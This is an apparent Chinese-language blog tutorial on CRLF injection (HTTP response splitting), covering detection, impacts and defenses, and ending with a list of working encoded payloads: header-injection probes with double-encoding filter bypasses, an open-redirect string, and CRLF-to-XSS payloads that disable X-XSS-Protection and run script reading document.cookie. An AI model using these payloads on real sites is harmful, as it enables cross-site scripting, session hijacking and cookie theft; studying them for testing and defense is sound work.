HTTP响应拆分漏洞——CRLF注入漏洞

  • CRLF漏洞
    CRLF注入漏洞:web应用没有对用户输入做严格过滤,导致攻击者可以输入一些恶意字符,攻击者向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主题,并在响应中输出。
    HTTP报文中,HTTP header之间是由一个CRLF字符序列分隔开的,HTTP Header 与Body是用两个CRLF分隔的,浏览器根据这两个CRLF来取出HTTP内容并显示出来。
  • CRLF
    CRLF:回车符(CR,ASCLL13,\r,%0d)和换行符(LF,ASCII10,\n,%0a)
    CRLF源自打字机,表明行的结束。
    回车符:光标移到首行,
    换行符:光标垂直移到下行。
  • CRLF漏洞检测
    CRLF注入漏洞与XSS相似,web应用程序将恶意数据输出到HTTP响应头中。XSS一般输出到主体中。通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。
    1、观察输出是否在返回头中,查看输入,可能是在URL值和参数、cookie中,使用输入参数创建cookie和302跳转location处。
    2、提交%0D%0A字符,验证服务器是否响应%0D%0A,若过滤可以通过双重编码绕过
    3、漏洞利用,是杀伤最大化,将漏洞转化为HTML注入,XSS,缓存等。
    nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF漏洞。
  • CRLF漏洞危害
    1、会话固定:利用应用系统在服务器的会话ID固定不变机制,借助他人用相同的会话ID获取认证和授权,然后利用该会话ID劫持他人的会话已成功冒充他人,造成会话固定攻击。

    2、XSS
    3、缓存病毒攻击
    4、日志伪造
  • CRLF漏洞防御
    1、对用户的数据进行合法性校验,对特殊的字符进行编码,如<、>、"、'、CR、LF等,限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出,以防止注入自定义HTTP头。
    2、创建安全符白名单,只接受白名单中的字符出现在HTTP响应头文件中。
    3、在将数据传送到http响应头之前,删除所有换行符。
    探测漏洞:
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header
开放重定向:
/www.google.com/%2f%2e%2e%0d%0aheader:header
CRLF-XSS:
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
XSS绕过:
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/
Location:
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E
posted @ 2025-03-19 11:02  予遂计划  阅读(882)  评论(0)    收藏  举报